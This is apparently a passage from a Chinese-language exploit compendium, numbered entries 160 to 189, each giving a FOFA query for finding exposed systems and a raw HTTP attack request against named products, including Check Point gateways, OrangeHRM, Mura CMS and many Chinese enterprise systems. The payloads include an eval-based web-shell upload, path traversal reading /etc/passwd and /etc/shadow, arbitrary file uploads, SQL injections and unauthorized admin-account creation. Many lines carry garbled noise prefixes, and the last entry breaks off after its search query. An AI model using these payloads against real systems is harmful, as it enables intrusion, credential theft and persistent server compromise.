<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
' {5 }; ~0 f$ z+ A  y<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
( y! ~. f6 }# ?" Y* ?3 J/ {<subFolder></subFolder>
/ g* Y9 L1 S1 L% u; K<fileName>abcrce.asmx</fileName>
3 d3 k3 R( p1 |0 k<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
9 p: E' ]4 Y/ c; _# Q</jobUpload>
</soap:Body>
</soap:Envelope>


) T& ^- P8 X, g) O1 w/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")


# M8 j( f+ F) Z% B3 u+ ?160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
FOFA：title="Nexus Repository Manager"
/ a" G  [1 w8 N7 V9 B- e* i5 i7 qGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
& [0 d* n* ~6 uHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
Accept: */*
$ C, R5 V) s+ z  a& KAccept-Language: en
9 X0 h5 b9 K& T5 P# J+ C) T. EAccept-Encoding: gzip
6 ~$ T3 x, k3 P) ?  |

/ C0 P% H5 u* i161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
0 [6 H. M. Z) V* |2 Q: a1 D) {POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 445
Content-Type: text/xml
' F' b& m# X5 k2 O" k) y( W& nAccept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
0 |. F+ `* w7 r, {6 m3 q' T<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
! J" W' L3 Y$ y9 Z- O. t0 C: P<fileName>../../../../dizxdell.aspx</fileName>
* U) f1 B# F/ K2 m! b$ G<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
  q+ r( T7 Q+ q0 R9 `  i</UploadResume>
</soap:Body>
2 i8 }. s5 n$ o</soap:Envelope>

) m! r0 A2 Y+ ^% ?! a- c
% o& n; J6 h/ g6 f% d2 bhttp://x.x.x.x/dizxdell.aspx
8 `7 w8 `4 s- b3 G6 _) `
1 y; ~% H1 ]+ w- i; Z. C6 p$ q9 [162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
( y& c7 H0 C* M9 V# v: |POST /QH.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
, r: u! Q" o) n/ B. O$ lConnection: close
5 y. ~3 w3 Y# j2 ~. U1 ^0 YContent-Length: 583
* T2 N# _5 g- V9 M- D/ f7 u# |Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
: p& y) N1 N( u! s0 o, QAccept-Encoding: gzip
  b9 X. c0 `2 D6 J# I
! K* z- _1 a. }! a- I, d* d------WebKitFormBoundaryeegvclmyurlotuey
2 O1 l/ F$ L7 e6 E' }- C$ IContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
. \+ r1 Z- `# O
<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
7 m3 ~2 d% M% Y) j8 yContent-Disposition: form-data; name="action"
( C' s+ t3 g8 [% {/ V) p
upload
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"
* U" f$ S' S; E1 d' Z. v8 s" i% r
ResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
4 s# ^0 g1 {/ m9 UContent-Disposition: form-data; name="remotePath"

7 E( G: J* @6 F5 [  Y/opt/resources
6 y" |9 b/ B' g6 i$ i0 ^------WebKitFormBoundaryeegvclmyurlotuey--
; D# ~6 z! h6 v/ Y- t7 }% S* M9 \

http://x.x.x.x/opt/resources/kjuhitjgk.aspx
4 D% T! b" O& _8 z1 v- X
# }  h; |0 m  \; z6 r163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
# P3 V3 ?# m$ M. e7 A3 d) o- gFOFA: icon_hash="-795291075"
- Q- J: f- b' \5 Z3 D4 RPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
$ v8 ]' q( H* x# D( o$ g' TConnection: close
; j* W5 j6 N# ~  AContent-Length: 293
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
+ \4 ]' ^/ o+ b* j# UContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
1 H: O9 a$ l$ }2 k
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"

1.php
! e* w4 }7 x3 f- z/ Z. X; S------iiqvnofupvhdyrcoqyuujyetjvqgocod
; c& O6 O9 @% I& [( g  RContent-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg
; j2 O0 X8 M$ m6 r2 y
rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--

" ~5 z  B8 Y4 ^* t
3 M. f4 o' [# S9 P7 j164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
: j7 {" L7 x( UFOFA: title="智慧综合管理平台登入"
2 j9 I% C) Q1 L$ z& d  ^POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
( v# {! g; S( ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
8 x8 U$ J+ b6 \: L, F) ]  BContent-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
2 F& Y* f- F5 \( YAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
0 O& h9 w# H' e* G) `Connection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
# j0 X- W0 \) @1 L% @9 W  `
------dqdaieopnozbkapjacdbdthlvtlyl
% \8 l- {$ [2 [8 ~5 a" x% fContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg
9 Y0 L% F' F0 h1 c/ a( j
<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--
: h% `+ t5 w3 L4 j# B! j
; j- l# }1 C9 K0 P: z* O$ f
; p+ X; E6 x5 U0 Lhttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

165. OrangeHRM 3.3.3 SQL 注入
) M6 S1 g/ d% W/ f' I7 LCVE-2024-36428
FOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
+ w& i$ w7 k% h: H5 l* H' Y+ u
7 J. `8 ]9 F  P1 s4 f! y7 F
166. 中成科信票务管理平台SeatMapHandler SQL注入
6 g) d- f0 z0 pFOFA：body="技术支持：北京中成科信科技发展有限公司"
8 k& q7 H" \/ {0 x2 |POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
; w: _- u" ^6 s3 C. z! M5 _, t2 ^Host:
; d* I+ i# W' F# F, E7 n# PPragma: no-cache
9 H" a. k& V/ [2 S' J# bCache-Control: no-cache
4 ^3 P% \! [& t( h" H" e6 WUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
# ^" \! h; q) x7 p( Z" lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( I" K( E5 g4 t4 i: M! b# xAccept-Encoding: gzip, deflate
! X3 Q% M0 b( zAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
0 M7 I0 `7 z" D7 i% _+ gCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
  U6 J8 `( `! a" n2 X2 D- OContent-Type: application/x-www-form-urlencoded
7 z/ D, G% g2 |( f. B6 QContent-Length: 89
9 H# ~& e* @; I, l; C
8 N! `5 u5 j% AMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE


167. 精益价值管理系统 DownLoad.aspx任意文件读取
# u3 O7 y/ h' G  m) I6 H* ?2 Z: l. oFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
  F1 S. b$ R4 \& O( V6 _GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
: z9 G- t' L6 w  O9 x6 UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
1 l0 p; f5 P; m1 H1 h# }Connection: keep-alive
6 P" Y- R6 R/ E) G

168. 宏景EHR OutputCode 任意文件读取
8 o2 A) ?5 K+ x# \, v( K) RFOFA：app="HJSOFT-HCM"
( x7 f  B  G1 @! j5 Z9 iGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
) K" j# ^' W, [& R% T( DConnection: close

! A* B# l& B, k8 c7 w

169. 宏景EHR downlawbase SQL注入
) y- q0 T" @8 w& ~8 Z, hFOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
0 ~, P8 ]5 q& c( \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
, j4 ]& M$ }$ P  O+ z9 U1 [Accept: */*
) `# L' H/ I) H" r0 K, j& OAccept-Encoding: gzip, deflate
Connection: close
9 q7 m& t. H( N( w; F


6 U% q! ?3 F0 w0 o170. 宏景EHR DisplayExcelCustomReport 任意文件读取
& V8 c' O6 y& e4 TFOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
( C2 E: N' x' K; u& s8 H; a) HHost: balalanengliang
- q7 B% a+ l3 fUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
" i1 ]+ m$ M0 N& ?5 c! Q5 h2 v" yContent-Type: application/x-www-form-urlencoded
. y( Y" @+ W/ O
7 y8 O* m# W# {5 J/ L# I1 gfilename=../webapps/ROOT/WEB-INF/web.xml

) F' N. S0 q# |+ W% h6 C
8 H! ?6 h2 P, J2 T* E171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
+ X( ^5 m+ S- Y6 A+ q* U; ]+ OGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
  G( l0 q9 r" k4 X, SUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
9 o1 O5 o7 ]2 ^% _Accept: */*
- [+ |0 f; a" o& H. NAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
" d- q2 `" ]' J+ n# L* |& m


172. DT-高清车牌识别摄像机任意文件读取
; a. Q5 h2 p) l$ @; ]0 }7 v% gFOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
4 p, L( s: {: V& s: b% _/ mHost: your-ip
/ T/ \+ t6 z% F: t/ e4 nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
6 x: J  j9 v) }Accept: */*
Connection: keep-alive
' |+ m3 F8 G: c

  A1 L# J- _& T" v0 K& u
4 M: K* t- v5 Q173. Check Point 安全网关任意文件读取
CVE-2024-24919
" ~6 t' f. @6 X  v, CFOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
& J  G1 P, ~* @3 Q1 p8 A/ z0 GHost: your-ip
Content-Type: application/x-www-form-urlencoded

% i- L. l6 [4 D( A& {- P1 n0 }aCSHELL/../../../../../../../etc/shadow
9 B2 s# f0 R" e9 l) o


# @$ i: a3 J8 O- j' w174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
+ W* q% ~1 Z: V, \: OGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
9 w( |+ `  r& z' r3 v' ^+ OHost: your-ip
2 B5 ]4 U/ [# |$ p* P# Y3 kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- [  ]  m9 }8 m- W5 b8 l6 _3 kAccept-Encoding: gzip, deflate, br
! s0 s$ I2 N% L, Q) Y& tAccept-Language: zh-CN,zh;q=0.9
! y8 n2 q; v5 ^& YConnection: close

3 a% z' i9 L" u- V
5 k5 R9 C9 {1 P( X# m* j
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
( [" T, D1 k  n$ j. ^; I, q# aUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
2 @$ a) o4 P- y  ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
0 V8 ^7 p7 k* H6 l1 yUpgrade-Insecure-Requests: 1
* h0 Y+ s) A! P# E: ~# X

& U" l- u' v4 d& D9 O" d176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
) c: T1 s* |9 }& B- IContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
; @, g# E2 y3 c1 PConnection: close

1 L. I5 {+ v1 N1 X9 i------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png
- R9 J* O/ \5 `4 g
: A+ O  g* J, J# e" f) D( Y<?php system("cat /etc/passwd");unlink(__FILE__);?>
  ^* @6 r" ~# h0 m" m. A- t: r------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"


- o$ [- U; ^6 F/ l: U; ~& B------WebKitFormBoundaryOKldnDPT--



$ v) f; `8 r- P6 u177. H3C路由器敏感信息泄露
7 i$ a! ]( i, W/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
+ Q& J8 K# b$ e. C7 p' G; r/userLogin.asp/../actionpolicy_status/../GR5200.cfg
3 t1 e3 n# H+ \9 E/userLogin.asp/../actionpolicy_status/../GR3200.cfg
6 H0 m) T, ~# c: {# B/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
5 e/ [( u# F2 R' w/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
7 @% [7 J. K/ z/userLogin.asp/../actionpolicy_status/../ER5200.cfg
# ^8 {: T* O7 r: r" m/userLogin.asp/../actionpolicy_status/../ER5100.cfg
+ y. g$ X! i( k. ~& E/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
" m+ O# i  T$ m9 g* }/userLogin.asp/../actionpolicy_status/../ER3260.cfg
" d$ _1 Y: k  \& l- f/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
0 q6 W- m% u5 \/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
" \7 i% m. w. ?) D. X/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
% ?' |* r" E; P8 a' @. ?( s

" g# e4 ~3 g  s/ l! m178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
9 F  k6 F8 {( I' W* T- g/ QPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
5 d' {- y, Z  @6 `: g& OHost:
* A' d# D) @  MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
Accept-Encoding: gzip, deflate
$ z) |) s1 l) [Connection: close
! j: C: E  X6 N2 PContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
5 M4 W, s; @4 F4 L2 |2 E-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
. x0 O3 P$ z  l9 O* x# HContent-Type: application/octet-stream
Content-Length: 255
5 H$ ~# Z# @4 q
/ j1 m* C6 C3 ~7 @/ l12234
* B. Z  a* V) A8 T7 ^-----------------aqutkea7vvanpqy3rh2l--
; ?; Y  ?5 z- P+ g4 [. b4 v
* [9 J" W3 c/ x, W" p( e
9 C' g3 c( _( i7 O" x: Q' @GET /imc/primepush/%2e%2e/flex/12234.txt
1 C" S- `; F/ Y1 l' Z
1 p" G3 _. P2 F1 m: T% _( ?
$ f# Q- L% U5 G9 `8 z4 Z3 A& s179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
5 U$ f2 n* g5 y# \8 @& C( K$ EHost: {{Hostname}}
: u6 s+ X+ Y1 A+ Y2 wContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

2 \  K- m8 l# G& xpath=../log4net.config&Name=


$ N2 l, L8 _+ M7 V- \180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
7 J0 l5 p- l, O+ }% ~GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
, g7 n2 @# ^) uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
4 o+ s- O, r) AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
2 t; ~! i6 w1 u( `/ LAccept-Language: zh-CN,zh;q=0.9
Connection: close

. l/ e, s3 ?$ h. f+ `  V
/ o& X/ B$ ?" a& `181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
! O' w: G, x. W+ PPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
5 D; T& x1 H7 Y# |) \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
! M7 |, {% `/ F6 J, rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* m5 n% w7 j4 l+ c; U2 q( _# \Accept-Encoding: gzip, deflate, br
$ V. e) p2 K& s5 }# M1 J& ]$ n6 TAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
1 X) B( h4 d# h

action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
$ o, Y, }  c6 r4 h& [5 Q
& K* L. `5 ^; B  V
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
, w' U/ g$ L1 N1 I3 \4 WFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
8 o2 Q: u" X4 S( ], BHost: your-ip
7 D' @9 O3 V* _; Z! F/ fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
. s8 }7 k2 ?7 O- U5 b$ J+ E3 ?Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

3 ~0 W' Z: E$ ~5 A% Y/ Z
# u. H3 C4 B) y4 P( ^. @. Iusername=test1234&pwd=test1234&savedays=1
9 w  L1 T' G5 G$ K; Y

0 q4 q! Q5 B( C) `: _183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
: z7 W% X7 h0 M3 [5 y7 PUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
# m! a% p% d  Q# c- \Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
; n3 u7 z* M# B" XConnection: close
. X: i; ^* }: y. E# Q

184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
* \5 f* W0 [( f, i! i7 J- [$ lFOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
Host: your-ip
6 u' W( g- x3 }2 y" b! |& s8 E( s% CAccept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
( k$ C8 H+ }2 T( {Content-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: ]+ ]3 b: \; a+ B7 aX-Requested-With: XMLHttpRequest
$ E# Y; g# }! h. O

3 `/ x; b% ^+ m2 {" P# ?( m7 o' Qinsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')

4 k0 k7 O2 u" r0 \9 H1 v
185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
: r; K7 O6 d6 UFOFA：app="REALOR-天翼应用虚拟化系统"
' I' F- z0 A6 A8 E7 wGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
3 g6 B+ T7 E2 IHost: host
# f, M) K. X! f2 K' C( M% j
0 c. m( p+ y' \3 |- R" V- w9 e
8 W9 G- L3 B- S, J/ M- V7 Q# m186. F-logic DataCube3 SQL注入
% H- J; G& x' v5 X8 r4 f  o( x1 UCVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
8 U6 Z  K/ p2 |3 m' o6 {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# }2 a5 R) H7 _( O( O1 R! j; NAccept-Encoding: gzip, deflate
$ Y; g/ d' M) k6 @- Y9 YConnection: close
Content-Type: application/x-www-form-urlencoded
# }! N# h. G9 i2 J9 L
req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


187. Mura CMS processAsyncObject SQL注入
) G" P' \  I- mCVE-2024-32640
FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded

& d9 z+ Z) P* f& x
object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1


+ W/ O! M. ~. Z( d188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
, [  N# ]* E# C+ zFOFA：body="/system/get_rtc_user_defined_info?site_id"
3 r( H$ p1 A& w" s0 bGET /attachment?file=/etc/passwd HTTP/1.1
# H  H* e8 Z6 ]5 C( eHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
2 g3 S  w! l1 L6 q6 o  j+ B6 f7 a5 }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
# ]) W. l$ Z# Q/ FAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close


189. 蓝网科技临床浏览系统 deleteStudy SQL注入
$ [& \$ W4 V, z1 H+ Q8 cFOFA：app="LANWON-临床浏览系统"
